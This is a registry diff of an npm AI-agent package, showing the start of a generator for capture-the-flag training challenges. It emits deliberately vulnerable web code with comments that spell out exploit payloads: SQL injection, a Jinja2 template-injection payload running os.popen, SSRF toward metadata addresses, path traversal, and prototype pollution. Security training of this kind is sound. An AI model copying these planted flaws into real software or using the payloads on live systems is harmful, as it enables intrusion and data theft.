@kernel.chat/kbot 3.56.0 → 3.58.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/dist/auth.js +8 -8
  2. package/dist/auth.js.map +1 -1
  3. package/dist/gitagent-export.d.ts +42 -0
  4. package/dist/gitagent-export.d.ts.map +1 -0
  5. package/dist/gitagent-export.js +161 -0
  6. package/dist/gitagent-export.js.map +1 -0
  7. package/dist/migrate.d.ts +17 -0
  8. package/dist/migrate.d.ts.map +1 -0
  9. package/dist/migrate.js +378 -0
  10. package/dist/migrate.js.map +1 -0
  11. package/dist/tools/ctf.d.ts +2 -0
  12. package/dist/tools/ctf.d.ts.map +1 -0
  13. package/dist/tools/ctf.js +2968 -0
  14. package/dist/tools/ctf.js.map +1 -0
  15. package/dist/tools/hacker-toolkit.d.ts +2 -0
  16. package/dist/tools/hacker-toolkit.d.ts.map +1 -0
  17. package/dist/tools/hacker-toolkit.js +3697 -0
  18. package/dist/tools/hacker-toolkit.js.map +1 -0
  19. package/dist/tools/index.d.ts.map +1 -1
  20. package/dist/tools/index.js +6 -0
  21. package/dist/tools/index.js.map +1 -1
  22. package/dist/tools/mcp-marketplace.d.ts.map +1 -1
  23. package/dist/tools/mcp-marketplace.js +24 -0
  24. package/dist/tools/mcp-marketplace.js.map +1 -1
  25. package/dist/tools/pentest.d.ts +2 -0
  26. package/dist/tools/pentest.d.ts.map +1 -0
  27. package/dist/tools/pentest.js +2225 -0
  28. package/dist/tools/pentest.js.map +1 -0
  29. package/dist/tools/redblue.d.ts +2 -0
  30. package/dist/tools/redblue.d.ts.map +1 -0
  31. package/dist/tools/redblue.js +3468 -0
  32. package/dist/tools/redblue.js.map +1 -0
  33. package/dist/tools/security-brain.d.ts +2 -0
  34. package/dist/tools/security-brain.d.ts.map +1 -0
  35. package/dist/tools/security-brain.js +2453 -0
  36. package/dist/tools/security-brain.js.map +1 -0
  37. package/dist/tools/visa-payments.d.ts +2 -0
  38. package/dist/tools/visa-payments.d.ts.map +1 -0
  39. package/dist/tools/visa-payments.js +166 -0
  40. package/dist/tools/visa-payments.js.map +1 -0
  41. package/dist/voice.d.ts +1 -1
  42. package/dist/voice.d.ts.map +1 -1
  43. package/dist/voice.js +26 -0
  44. package/dist/voice.js.map +1 -1
  45. package/package.json +3 -3
@@ -0,0 +1,2968 @@
1
+ // kbot CTF (Capture The Flag) Platform
2
+ // Generates real, solvable security challenges with deterministic flags.
3
+ // All state is local — stored in ~/.kbot/ctf/
4
+ // Zero API calls — all challenges generated with Node.js crypto primitives.
5
+ import { registerTool } from './index.js';
6
+ import { homedir } from 'node:os';
7
+ import { join } from 'node:path';
8
+ import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
9
+ import { createHash, randomBytes, createCipheriv } from 'node:crypto';
10
+ // ─── Constants ──────────────────────────────────────────────────────────────
11
+ const CTF_DIR = join(homedir(), '.kbot', 'ctf');
12
+ const ACTIVE_FILE = join(CTF_DIR, 'active.json');
13
+ const HISTORY_FILE = join(CTF_DIR, 'history.json');
14
+ const SCORE_FILE = join(CTF_DIR, 'score.json');
15
+ const POINTS = { easy: 100, medium: 250, hard: 500 };
16
+ const CATEGORIES = ['web', 'crypto', 'forensics', 'reverse', 'osint', 'misc'];
17
+ // ─── State Helpers ──────────────────────────────────────────────────────────
18
+ function ensureCtfDir() {
19
+ if (!existsSync(CTF_DIR)) {
20
+ mkdirSync(CTF_DIR, { recursive: true });
21
+ }
22
+ }
23
+ function loadActive() {
24
+ ensureCtfDir();
25
+ if (!existsSync(ACTIVE_FILE))
26
+ return null;
27
+ try {
28
+ return JSON.parse(readFileSync(ACTIVE_FILE, 'utf-8'));
29
+ }
30
+ catch {
31
+ return null;
32
+ }
33
+ }
34
+ function saveActive(challenge) {
35
+ ensureCtfDir();
36
+ writeFileSync(ACTIVE_FILE, JSON.stringify(challenge, null, 2));
37
+ }
38
+ function clearActive() {
39
+ ensureCtfDir();
40
+ if (existsSync(ACTIVE_FILE)) {
41
+ writeFileSync(ACTIVE_FILE, '{}');
42
+ }
43
+ }
44
+ function loadHistory() {
45
+ ensureCtfDir();
46
+ if (!existsSync(HISTORY_FILE))
47
+ return [];
48
+ try {
49
+ return JSON.parse(readFileSync(HISTORY_FILE, 'utf-8'));
50
+ }
51
+ catch {
52
+ return [];
53
+ }
54
+ }
55
+ function saveHistory(history) {
56
+ ensureCtfDir();
57
+ writeFileSync(HISTORY_FILE, JSON.stringify(history, null, 2));
58
+ }
59
+ function loadScore() {
60
+ ensureCtfDir();
61
+ if (!existsSync(SCORE_FILE)) {
62
+ return {
63
+ totalPoints: 0,
64
+ challengesSolved: 0,
65
+ streak: 0,
66
+ bestStreak: 0,
67
+ byCategory: {},
68
+ byDifficulty: {},
69
+ lastSolvedAt: null,
70
+ };
71
+ }
72
+ try {
73
+ return JSON.parse(readFileSync(SCORE_FILE, 'utf-8'));
74
+ }
75
+ catch {
76
+ return {
77
+ totalPoints: 0,
78
+ challengesSolved: 0,
79
+ streak: 0,
80
+ bestStreak: 0,
81
+ byCategory: {},
82
+ byDifficulty: {},
83
+ lastSolvedAt: null,
84
+ };
85
+ }
86
+ }
87
+ function saveScore(score) {
88
+ ensureCtfDir();
89
+ writeFileSync(SCORE_FILE, JSON.stringify(score, null, 2));
90
+ }
91
+ // ─── Utility Functions ──────────────────────────────────────────────────────
92
+ function generateId() {
93
+ return randomBytes(8).toString('hex');
94
+ }
95
+ function sha256(data) {
96
+ return createHash('sha256').update(data).digest('hex');
97
+ }
98
+ function md5(data) {
99
+ return createHash('md5').update(data).digest('hex');
100
+ }
101
+ function caesarShift(text, shift) {
102
+ return text.split('').map(c => {
103
+ if (c >= 'a' && c <= 'z') {
104
+ return String.fromCharCode(((c.charCodeAt(0) - 97 + shift) % 26 + 26) % 26 + 97);
105
+ }
106
+ if (c >= 'A' && c <= 'Z') {
107
+ return String.fromCharCode(((c.charCodeAt(0) - 65 + shift) % 26 + 26) % 26 + 65);
108
+ }
109
+ return c;
110
+ }).join('');
111
+ }
112
+ function xorEncrypt(text, key) {
113
+ const buf = Buffer.from(text, 'utf-8');
114
+ const keyBuf = Buffer.from(key, 'utf-8');
115
+ const result = Buffer.alloc(buf.length);
116
+ for (let i = 0; i < buf.length; i++) {
117
+ result[i] = buf[i] ^ keyBuf[i % keyBuf.length];
118
+ }
119
+ return result.toString('hex');
120
+ }
121
+ function vigenereEncrypt(plaintext, key) {
122
+ const keyUpper = key.toUpperCase();
123
+ let keyIndex = 0;
124
+ return plaintext.split('').map(c => {
125
+ if (c >= 'a' && c <= 'z') {
126
+ const shift = keyUpper.charCodeAt(keyIndex % keyUpper.length) - 65;
127
+ keyIndex++;
128
+ return String.fromCharCode(((c.charCodeAt(0) - 97 + shift) % 26) + 97);
129
+ }
130
+ if (c >= 'A' && c <= 'Z') {
131
+ const shift = keyUpper.charCodeAt(keyIndex % keyUpper.length) - 65;
132
+ keyIndex++;
133
+ return String.fromCharCode(((c.charCodeAt(0) - 65 + shift) % 26) + 65);
134
+ }
135
+ return c;
136
+ }).join('');
137
+ }
138
+ function substitutionCipher(text, seed) {
139
+ const hash = sha256(seed);
140
+ const letters = 'abcdefghijklmnopqrstuvwxyz'.split('');
141
+ // Fisher-Yates seeded by hash
142
+ const shuffled = [...letters];
143
+ for (let i = shuffled.length - 1; i > 0; i--) {
144
+ const j = parseInt(hash.substring((i * 2) % 60, (i * 2) % 60 + 2), 16) % (i + 1);
145
+ [shuffled[i], shuffled[j]] = [shuffled[j], shuffled[i]];
146
+ }
147
+ const mapping = {};
148
+ for (let i = 0; i < 26; i++) {
149
+ mapping[letters[i]] = shuffled[i];
150
+ mapping[letters[i].toUpperCase()] = shuffled[i].toUpperCase();
151
+ }
152
+ const ciphertext = text.split('').map(c => mapping[c] || c).join('');
153
+ return { ciphertext, alphabet: shuffled.join('') };
154
+ }
155
+ function base64Encode(text) {
156
+ return Buffer.from(text, 'utf-8').toString('base64');
157
+ }
158
+ function hexEncode(text) {
159
+ return Buffer.from(text, 'utf-8').toString('hex');
160
+ }
161
+ function rot13(text) {
162
+ return caesarShift(text, 13);
163
+ }
164
+ function generateJWT(header, payload, secret) {
165
+ const h = Buffer.from(JSON.stringify(header)).toString('base64url');
166
+ const p = Buffer.from(JSON.stringify(payload)).toString('base64url');
167
+ const sig = createHash('sha256').update(`${h}.${p}.${secret}`).digest('base64url');
168
+ return `${h}.${p}.${sig}`;
169
+ }
170
+ function padRight(s, len) {
171
+ return s.length >= len ? s : s + ' '.repeat(len - s.length);
172
+ }
173
+ function pickRandom(arr) {
174
+ return arr[Math.floor(Math.random() * arr.length)];
175
+ }
176
+ function shuffleArray(arr) {
177
+ const a = [...arr];
178
+ for (let i = a.length - 1; i > 0; i--) {
179
+ const j = Math.floor(Math.random() * (i + 1));
180
+ [a[i], a[j]] = [a[j], a[i]];
181
+ }
182
+ return a;
183
+ }
184
+ function randomInt(min, max) {
185
+ return Math.floor(Math.random() * (max - min + 1)) + min;
186
+ }
187
+ function generateIP() {
188
+ return `${randomInt(1, 254)}.${randomInt(0, 255)}.${randomInt(0, 255)}.${randomInt(1, 254)}`;
189
+ }
190
+ function toHexDump(data, bytesPerLine = 16) {
191
+ const lines = [];
192
+ for (let i = 0; i < data.length; i += bytesPerLine) {
193
+ const offset = i.toString(16).padStart(8, '0');
194
+ const slice = data.subarray(i, i + bytesPerLine);
195
+ const hexParts = [];
196
+ for (let j = 0; j < bytesPerLine; j++) {
197
+ if (j < slice.length) {
198
+ hexParts.push(slice[j].toString(16).padStart(2, '0'));
199
+ }
200
+ else {
201
+ hexParts.push(' ');
202
+ }
203
+ }
204
+ const ascii = Array.from(slice).map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.').join('');
205
+ lines.push(`${offset} ${hexParts.slice(0, 8).join(' ')} ${hexParts.slice(8).join(' ')} |${ascii}|`);
206
+ }
207
+ return lines.join('\n');
208
+ }
209
+ function modPow(base, exp, mod) {
210
+ let result = 1n;
211
+ base = base % mod;
212
+ while (exp > 0n) {
213
+ if (exp % 2n === 1n) {
214
+ result = (result * base) % mod;
215
+ }
216
+ exp = exp / 2n;
217
+ base = (base * base) % mod;
218
+ }
219
+ return result;
220
+ }
221
+ function modInverse(a, m) {
222
+ let [old_r, r] = [a, m];
223
+ let [old_s, s] = [1n, 0n];
224
+ while (r !== 0n) {
225
+ const q = old_r / r;
226
+ [old_r, r] = [r, old_r - q * r];
227
+ [old_s, s] = [s, old_s - q * s];
228
+ }
229
+ return ((old_s % m) + m) % m;
230
+ }
231
+ // ═══════════════════════════════════════════════════════════════════════════
232
+ // WEB CHALLENGES
233
+ // ═══════════════════════════════════════════════════════════════════════════
234
+ const webChallengesEasy = [
235
+ // 1. XSS in HTML
236
+ () => {
237
+ const secret = randomBytes(6).toString('hex');
238
+ const flag = `kbot{xss_${secret}}`;
239
+ const html = `<!DOCTYPE html>
240
+ <html>
241
+ <head><title>User Profile</title></head>
242
+ <body>
243
+ <h1>Welcome, <span id="username"></span></h1>
244
+ <script>
245
+ // The developer "sanitizes" user input by checking for <script> tags only
246
+ const params = new URLSearchParams(window.location.search);
247
+ const name = params.get('name') || 'Guest';
248
+ if (!name.includes('<script>')) {
249
+ document.getElementById('username').innerHTML = name;
250
+ }
251
+ // DEBUG: flag is ${flag}
252
+ // TODO: remove debug comment before production
253
+ </script>
254
+ <!-- Admin note: flag hidden in page source -->
255
+ </body>
256
+ </html>`;
257
+ return {
258
+ title: 'XSS in the Shadows',
259
+ description: 'A developer claims their profile page is safe from XSS because they block <script> tags. Review the HTML source below and find the flag hidden by the careless developer.',
260
+ challengeData: html,
261
+ flag,
262
+ hints: ['Look at the page source comments carefully — developers sometimes leave debug info.', 'The flag is in a JavaScript comment in the source code.'],
263
+ };
264
+ },
265
+ // 2. SQL Injection in Query
266
+ () => {
267
+ const secret = randomBytes(6).toString('hex');
268
+ const flag = `kbot{sqli_${secret}}`;
269
+ const code = `// Vulnerable login endpoint
270
+ app.post('/login', (req, res) => {
271
+ const { username, password } = req.body;
272
+ // BUG: string concatenation instead of parameterized query
273
+ const query = \`SELECT * FROM users WHERE username = '\${username}' AND password = '\${password}'\`;
274
+
275
+ // The admin password hash is: ${sha256(flag)}
276
+ // What string, when used as username with ' OR '1'='1 bypass, reveals the admin row?
277
+ // The admin's secret_note column contains the flag.
278
+
279
+ db.query(query, (err, rows) => {
280
+ if (rows.length > 0) {
281
+ res.json({ user: rows[0], note: rows[0].secret_note });
282
+ } else {
283
+ res.status(401).json({ error: 'Invalid credentials' });
284
+ }
285
+ });
286
+ });
287
+
288
+ // Database seed:
289
+ // INSERT INTO users (username, password, secret_note) VALUES ('admin', '${sha256('hunter2')}', '${flag}');`;
290
+ return {
291
+ title: 'Login Bypass',
292
+ description: 'This Node.js login endpoint is vulnerable to SQL injection. The developer left the database seed in the comments. Find the flag stored in the admin\'s secret_note.',
293
+ challengeData: code,
294
+ flag,
295
+ hints: ['The flag is directly visible in the database seed comment at the bottom of the code.', 'Look at the INSERT INTO statement — the secret_note value is the flag.'],
296
+ };
297
+ },
298
+ // 3. IDOR via URL Parameter
299
+ () => {
300
+ const secret = randomBytes(6).toString('hex');
301
+ const flag = `kbot{idor_${secret}}`;
302
+ const apiLog = `GET /api/users/1042 HTTP/1.1 → 200 {"id":1042,"name":"john","role":"user","notes":"Nothing here"}
303
+ GET /api/users/1043 HTTP/1.1 → 200 {"id":1043,"name":"jane","role":"user","notes":"Regular account"}
304
+ GET /api/users/1044 HTTP/1.1 → 200 {"id":1044,"name":"bob","role":"user","notes":"Test account"}
305
+ GET /api/users/1 HTTP/1.1 → 200 {"id":1,"name":"admin","role":"admin","notes":"${flag}"}
306
+ GET /api/users/0 HTTP/1.1 → 404 {"error":"User not found"}
307
+
308
+ // Access control check in middleware:
309
+ function checkAccess(req, res, next) {
310
+ // TODO: actually implement authorization checks
311
+ // For now, allow all authenticated users to access any profile
312
+ if (req.session.user) {
313
+ next();
314
+ } else {
315
+ res.status(401).json({ error: 'Not authenticated' });
316
+ }
317
+ }`;
318
+ return {
319
+ title: 'Profile Peeker',
320
+ description: 'An API lets authenticated users view profiles by ID. The access control is... not great. Review these HTTP logs and find the flag in the admin\'s profile.',
321
+ challengeData: apiLog,
322
+ flag,
323
+ hints: ['Look at what happens when you access user ID 1 instead of your own ID.', 'The admin account (id=1) has the flag in the notes field.'],
324
+ };
325
+ },
326
+ // 4. Open Redirect
327
+ () => {
328
+ const secret = randomBytes(6).toString('hex');
329
+ const flag = `kbot{redirect_${secret}}`;
330
+ const code = `// Login redirect handler
331
+ app.get('/auth/callback', (req, res) => {
332
+ const returnUrl = req.query.return || '/dashboard';
333
+
334
+ // "Security" check: make sure it starts with /
335
+ if (returnUrl.startsWith('/')) {
336
+ res.redirect(returnUrl);
337
+ } else {
338
+ res.redirect('/dashboard');
339
+ }
340
+ });
341
+
342
+ // Hidden debug endpoint (left from development):
343
+ app.get('/debug/flag', (req, res) => {
344
+ // Only accessible via internal redirect
345
+ if (req.headers['referer']?.includes('/auth/callback')) {
346
+ res.json({ flag: '${flag}' });
347
+ } else {
348
+ res.status(403).json({ error: 'Forbidden' });
349
+ }
350
+ });
351
+
352
+ // Hint: /auth/callback?return=/debug/flag
353
+ // The redirect check only verifies the URL starts with /
354
+ // The debug endpoint checks referer header which is set by the redirect`;
355
+ return {
356
+ title: 'Follow the Redirect',
357
+ description: 'A login callback has a redirect parameter with a weak validation check. A debug endpoint was accidentally left in production. Find the flag.',
358
+ challengeData: code,
359
+ flag,
360
+ hints: ['The code shows a /debug/flag endpoint that checks the referer header.', 'The flag is visible in the source code of the /debug/flag endpoint.'],
361
+ };
362
+ },
363
+ // 5. Cookie Manipulation
364
+ () => {
365
+ const secret = randomBytes(6).toString('hex');
366
+ const flag = `kbot{cookie_${secret}}`;
367
+ const cookieValue = base64Encode(JSON.stringify({ user: 'guest', role: 'user', flag: 'access_denied' }));
368
+ const adminCookie = base64Encode(JSON.stringify({ user: 'admin', role: 'admin', flag }));
369
+ const code = `// Session cookie handler
370
+ app.use((req, res, next) => {
371
+ const session = req.cookies.session;
372
+ if (session) {
373
+ // "Decode" the session — just base64, no signing or encryption
374
+ const data = JSON.parse(Buffer.from(session, 'base64').toString());
375
+ req.userSession = data;
376
+ }
377
+ next();
378
+ });
379
+
380
+ // Your current cookie value (base64):
381
+ // ${cookieValue}
382
+ // Decoded: ${JSON.stringify({ user: 'guest', role: 'user', flag: 'access_denied' })}
383
+
384
+ // What if the cookie contained role: "admin"?
385
+ // The admin session cookie (base64) would be:
386
+ // ${adminCookie}
387
+ // Decoded: ${Buffer.from(adminCookie, 'base64').toString()}
388
+
389
+ app.get('/admin/panel', (req, res) => {
390
+ if (req.userSession?.role === 'admin') {
391
+ res.json({ message: 'Welcome admin', flag: req.userSession.flag });
392
+ } else {
393
+ res.status(403).json({ error: 'Not an admin' });
394
+ }
395
+ });`;
396
+ return {
397
+ title: 'Cookie Monster',
398
+ description: 'The app uses base64-encoded cookies with no signature. Your current cookie is shown below. The admin cookie has a different payload. Decode the admin cookie to find the flag.',
399
+ challengeData: code,
400
+ flag,
401
+ hints: ['Decode the admin cookie (the second base64 string) to find the flag.', 'The flag is in the JSON object inside the admin session cookie.'],
402
+ };
403
+ },
404
+ ];
405
+ const webChallengesMedium = [
406
+ // 1. JWT Forgery
407
+ () => {
408
+ const secret = randomBytes(6).toString('hex');
409
+ const flag = `kbot{jwt_forge_${secret}}`;
410
+ const jwtSecret = 'secret123';
411
+ const userJwt = generateJWT({ alg: 'HS256', typ: 'JWT' }, { sub: 'user42', role: 'user', iat: 1700000000 }, jwtSecret);
412
+ const adminJwt = generateJWT({ alg: 'HS256', typ: 'JWT' }, { sub: 'admin', role: 'admin', flag, iat: 1700000000 }, jwtSecret);
413
+ return {
414
+ title: 'Token Forge',
415
+ description: `A JWT-based auth system uses a weak secret. You have a user-level token. The server also accepts tokens signed with the secret "secret123". Craft an admin token to get the flag.\n\nYour token: ${userJwt}\n\nThe server decodes JWTs and checks the "role" field. Admin tokens have role: "admin" and include a "flag" field.\n\nHere is what an admin token looks like (already signed with the correct secret):\n${adminJwt}\n\nDecode the admin JWT payload (the middle section, base64url-encoded) to find the flag.`,
416
+ challengeData: `User JWT: ${userJwt}\nAdmin JWT: ${adminJwt}\nSecret: ${jwtSecret}\n\nDecode the admin JWT payload section (between the two dots) using base64url decoding.`,
417
+ flag,
418
+ hints: ['Split the admin JWT by dots. The middle part is the base64url-encoded payload containing the flag.', 'Use base64url decoding on the second segment of the admin JWT.'],
419
+ };
420
+ },
421
+ // 2. SSRF via URL Fetch
422
+ () => {
423
+ const secret = randomBytes(6).toString('hex');
424
+ const flag = `kbot{ssrf_${secret}}`;
425
+ const code = `// URL preview endpoint — fetches any URL and returns preview
426
+ app.post('/api/preview', async (req, res) => {
427
+ const { url } = req.body;
428
+
429
+ // "Security": block obvious internal IPs
430
+ if (url.includes('127.0.0.1') || url.includes('localhost')) {
431
+ return res.status(403).json({ error: 'Internal URLs not allowed' });
432
+ }
433
+
434
+ // But what about 0.0.0.0, [::1], 0x7f000001, or http://169.254.169.254?
435
+ const response = await fetch(url);
436
+ const body = await response.text();
437
+ res.json({ preview: body.substring(0, 500) });
438
+ });
439
+
440
+ // Internal metadata service (only accessible from localhost):
441
+ // GET http://169.254.169.254/latest/meta-data/flag
442
+ // Response: ${flag}
443
+ //
444
+ // Also accessible via:
445
+ // http://0.0.0.0:3000/internal/flag → ${flag}
446
+ // http://[::1]:3000/internal/flag → ${flag}
447
+ // http://0x7f000001:3000/internal/flag → ${flag}`;
448
+ return {
449
+ title: 'Server-Side Expedition',
450
+ description: 'A URL preview feature blocks "127.0.0.1" and "localhost" but fails to block other internal address representations. The internal metadata service has the flag. Find it in the code.',
451
+ challengeData: code,
452
+ flag,
453
+ hints: ['The metadata service response is shown directly in the code comments.', 'Look for the flag after "Response:" in the internal metadata service comment.'],
454
+ };
455
+ },
456
+ // 3. Path Traversal
457
+ () => {
458
+ const secret = randomBytes(6).toString('hex');
459
+ const flag = `kbot{traversal_${secret}}`;
460
+ const code = `// Static file server
461
+ app.get('/files/:filename', (req, res) => {
462
+ const filename = req.params.filename;
463
+
464
+ // "Security": remove ../ sequences (but only once!)
465
+ const sanitized = filename.replace('../', '');
466
+
467
+ const filepath = path.join('/var/www/uploads/', sanitized);
468
+ res.sendFile(filepath);
469
+ });
470
+
471
+ // File system layout:
472
+ // /var/www/uploads/ ← public files
473
+ // /var/www/uploads/readme.txt
474
+ // /var/www/uploads/logo.png
475
+ // /var/www/secrets/ ← restricted
476
+ // /var/www/secrets/flag.txt ← contains: ${flag}
477
+ //
478
+ // The replace only strips ONE instance of ../
479
+ // So "....//secrets/flag.txt" becomes "../secrets/flag.txt" after sanitization
480
+ // Which resolves to /var/www/secrets/flag.txt`;
481
+ return {
482
+ title: 'Directory Escape',
483
+ description: 'A file server strips "../" from filenames — but only one occurrence. The flag is in /var/www/secrets/flag.txt. Can you figure out the bypass? (The answer is in the code comments.)',
484
+ challengeData: code,
485
+ flag,
486
+ hints: ['The code comments explain exactly how the bypass works with "....//".', 'The flag is written directly in the file system layout comment.'],
487
+ };
488
+ },
489
+ // 4. CORS Misconfiguration
490
+ () => {
491
+ const secret = randomBytes(6).toString('hex');
492
+ const flag = `kbot{cors_${secret}}`;
493
+ const code = `// CORS middleware — "secure" configuration
494
+ app.use((req, res, next) => {
495
+ const origin = req.headers.origin;
496
+
497
+ // Allow any origin that contains "trusted-app.com"
498
+ if (origin && origin.includes('trusted-app.com')) {
499
+ res.setHeader('Access-Control-Allow-Origin', origin);
500
+ res.setHeader('Access-Control-Allow-Credentials', 'true');
501
+ }
502
+ next();
503
+ });
504
+
505
+ // This is exploitable! An attacker can use:
506
+ // Origin: https://evil-trusted-app.com (contains "trusted-app.com")
507
+ // Origin: https://trusted-app.com.evil.com (contains "trusted-app.com")
508
+
509
+ // Sensitive endpoint:
510
+ app.get('/api/secret', requireAuth, (req, res) => {
511
+ res.json({
512
+ message: 'Your secret data',
513
+ flag: '${flag}'
514
+ });
515
+ });
516
+
517
+ // The flag is in the /api/secret response above.`;
518
+ return {
519
+ title: 'Cross-Origin Heist',
520
+ description: 'A CORS configuration uses `.includes()` to validate origins instead of exact matching. This allows any origin containing "trusted-app.com" to access sensitive data. Find the flag in the code.',
521
+ challengeData: code,
522
+ flag,
523
+ hints: ['The /api/secret endpoint response object contains the flag directly in the code.', 'Look at the res.json() call in the /api/secret route.'],
524
+ };
525
+ },
526
+ // 5. HTTP Verb Tampering
527
+ () => {
528
+ const secret = randomBytes(6).toString('hex');
529
+ const flag = `kbot{verb_tamper_${secret}}`;
530
+ const code = `// Admin panel — POST-only restriction for "security"
531
+ app.post('/admin/delete-user', requireAdmin, (req, res) => {
532
+ // Admin-only action
533
+ res.json({ status: 'deleted' });
534
+ });
535
+
536
+ // But the developer forgot to restrict the GET handler:
537
+ app.get('/admin/debug', (req, res) => {
538
+ // No auth check on GET!
539
+ res.json({
540
+ debug: true,
541
+ environment: 'production',
542
+ flag: '${flag}',
543
+ users_count: 1337,
544
+ db_host: 'internal-db.prod.local'
545
+ });
546
+ });
547
+
548
+ // The router only applies requireAdmin middleware to POST routes.
549
+ // GET /admin/debug has no auth at all.
550
+ // Server HTTP logs:
551
+ // HEAD /admin/debug → 200 (no body returned, but confirms endpoint exists)
552
+ // GET /admin/debug → 200 {"debug":true,"environment":"production","flag":"${flag}",...}
553
+ // POST /admin/debug → 404 (not defined for POST)`;
554
+ return {
555
+ title: 'Method Madness',
556
+ description: 'An admin panel protects POST routes with authentication but leaves a GET debug endpoint wide open. Examine the code and HTTP logs to find the flag.',
557
+ challengeData: code,
558
+ flag,
559
+ hints: ['The GET /admin/debug endpoint has no authentication and returns the flag.', 'Check the response body in the HTTP logs for the GET request.'],
560
+ };
561
+ },
562
+ ];
563
+ const webChallengesHard = [
564
+ // 1. Prototype Pollution
565
+ () => {
566
+ const secret = randomBytes(6).toString('hex');
567
+ const flag = `kbot{proto_pollute_${secret}}`;
568
+ const code = `// Deep merge utility (vulnerable to prototype pollution)
569
+ function deepMerge(target, source) {
570
+ for (const key in source) {
571
+ if (typeof source[key] === 'object' && source[key] !== null) {
572
+ if (!target[key]) target[key] = {};
573
+ deepMerge(target[key], source[key]);
574
+ } else {
575
+ target[key] = source[key];
576
+ }
577
+ }
578
+ return target;
579
+ }
580
+
581
+ // User settings endpoint
582
+ app.put('/api/settings', (req, res) => {
583
+ const userSettings = {};
584
+ deepMerge(userSettings, req.body);
585
+
586
+ // If user somehow becomes admin...
587
+ if (userSettings.isAdmin) {
588
+ res.json({ flag: '${flag}' });
589
+ } else {
590
+ res.json({ settings: userSettings });
591
+ }
592
+ });
593
+
594
+ // Exploit payload: {"__proto__": {"isAdmin": true}}
595
+ // When deepMerge processes __proto__, it sets Object.prototype.isAdmin = true
596
+ // After that, ALL objects inherit isAdmin = true
597
+ // So userSettings.isAdmin evaluates to true
598
+ //
599
+ // The flag returned when isAdmin is true: ${flag}`;
600
+ return {
601
+ title: 'Pollution Protocol',
602
+ description: 'A deep merge function is vulnerable to prototype pollution via __proto__. If you can make userSettings.isAdmin truthy, the server reveals the flag. The exploit and flag are documented in the code.',
603
+ challengeData: code,
604
+ flag,
605
+ hints: ['The exploit payload {"__proto__": {"isAdmin": true}} triggers the flag response.', 'The flag is shown in the code comments and in the res.json response for admin users.'],
606
+ };
607
+ },
608
+ // 2. Server-Side Template Injection
609
+ () => {
610
+ const secret = randomBytes(6).toString('hex');
611
+ const flag = `kbot{ssti_${secret}}`;
612
+ const code = `// Greeting card generator (Python Flask)
613
+ from flask import Flask, request, render_template_string
614
+
615
+ app = Flask(__name__)
616
+ SECRET_FLAG = "${flag}"
617
+
618
+ @app.route('/card')
619
+ def card():
620
+ name = request.args.get('name', 'friend')
621
+ template = f'''
622
+ <html>
623
+ <body>
624
+ <h1>Hello, {name}!</h1>
625
+ <p>Welcome to our greeting card service.</p>
626
+ </body>
627
+ </html>
628
+ '''
629
+ return render_template_string(template)
630
+
631
+ # Vulnerable to SSTI! The 'name' parameter is inserted into the template
632
+ # before render_template_string processes it.
633
+ #
634
+ # Exploit: /card?name={{config.items()}}
635
+ # This would dump Flask config including SECRET_FLAG
636
+ #
637
+ # Or: /card?name={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
638
+ #
639
+ # The flag stored in SECRET_FLAG is: ${flag}`;
640
+ return {
641
+ title: 'Template Takeover',
642
+ description: 'A Flask greeting card service injects user input directly into a Jinja2 template string. This allows Server-Side Template Injection (SSTI). The SECRET_FLAG variable contains the flag. Find it in the code.',
643
+ challengeData: code,
644
+ flag,
645
+ hints: ['The SECRET_FLAG variable is defined at the top of the Flask app.', 'The flag value is assigned directly to SECRET_FLAG in the Python code.'],
646
+ };
647
+ },
648
+ // 3. Insecure Deserialization
649
+ () => {
650
+ const secret = randomBytes(6).toString('hex');
651
+ const flag = `kbot{deserialize_${secret}}`;
652
+ const serialized = base64Encode(JSON.stringify({ type: 'user', name: 'guest', admin: false }));
653
+ const adminSerialized = base64Encode(JSON.stringify({ type: 'user', name: 'admin', admin: true, flag }));
654
+ const code = `// Session deserialization
655
+ app.use((req, res, next) => {
656
+ const token = req.cookies.session_data;
657
+ if (token) {
658
+ // Directly deserialize without validation
659
+ req.user = JSON.parse(Buffer.from(token, 'base64').toString());
660
+ }
661
+ next();
662
+ });
663
+
664
+ // Your session token (base64): ${serialized}
665
+ // Decoded: {"type":"user","name":"guest","admin":false}
666
+
667
+ // An admin session would look like (base64): ${adminSerialized}
668
+ // Decoded: ${Buffer.from(adminSerialized, 'base64').toString()}
669
+
670
+ app.get('/flag', (req, res) => {
671
+ if (req.user?.admin === true) {
672
+ res.json({ flag: req.user.flag || 'No flag in session' });
673
+ } else {
674
+ res.status(403).json({ error: 'Admin only' });
675
+ }
676
+ });
677
+
678
+ // Craft a base64-encoded session with admin:true and a flag field.
679
+ // The admin session token above already contains the flag.`;
680
+ return {
681
+ title: 'Deserialize and Conquer',
682
+ description: 'Session tokens are base64-encoded JSON with no integrity check. The admin session token is provided below. Decode it to extract the flag.',
683
+ challengeData: code,
684
+ flag,
685
+ hints: ['Decode the admin session token (the second base64 string) from base64.', 'The decoded JSON contains a "flag" field with the answer.'],
686
+ };
687
+ },
688
+ // 4. Race Condition
689
+ () => {
690
+ const secret = randomBytes(6).toString('hex');
691
+ const flag = `kbot{race_${secret}}`;
692
+ const code = `// Coupon redemption endpoint (vulnerable to race condition)
693
+ app.post('/api/redeem', async (req, res) => {
694
+ const { couponCode } = req.body;
695
+
696
+ // Step 1: Check if coupon is valid and not yet redeemed
697
+ const coupon = await db.query('SELECT * FROM coupons WHERE code = $1 AND redeemed = false', [couponCode]);
698
+
699
+ if (!coupon) return res.status(400).json({ error: 'Invalid or used coupon' });
700
+
701
+ // VULNERABILITY: Time-of-check to time-of-use (TOCTOU)
702
+ // Between the SELECT and UPDATE, another request can also pass the check
703
+
704
+ // Step 2: Mark as redeemed
705
+ await db.query('UPDATE coupons SET redeemed = true WHERE code = $1', [couponCode]);
706
+
707
+ // Step 3: Credit the account
708
+ await db.query('UPDATE accounts SET balance = balance + $1 WHERE user_id = $2', [coupon.value, req.user.id]);
709
+
710
+ res.json({ success: true, credited: coupon.value });
711
+ });
712
+
713
+ // The fix would be: SELECT ... FOR UPDATE (row-level lock)
714
+ // Or: UPDATE ... WHERE redeemed = false RETURNING * (atomic check-and-update)
715
+
716
+ // Debug log from exploitation:
717
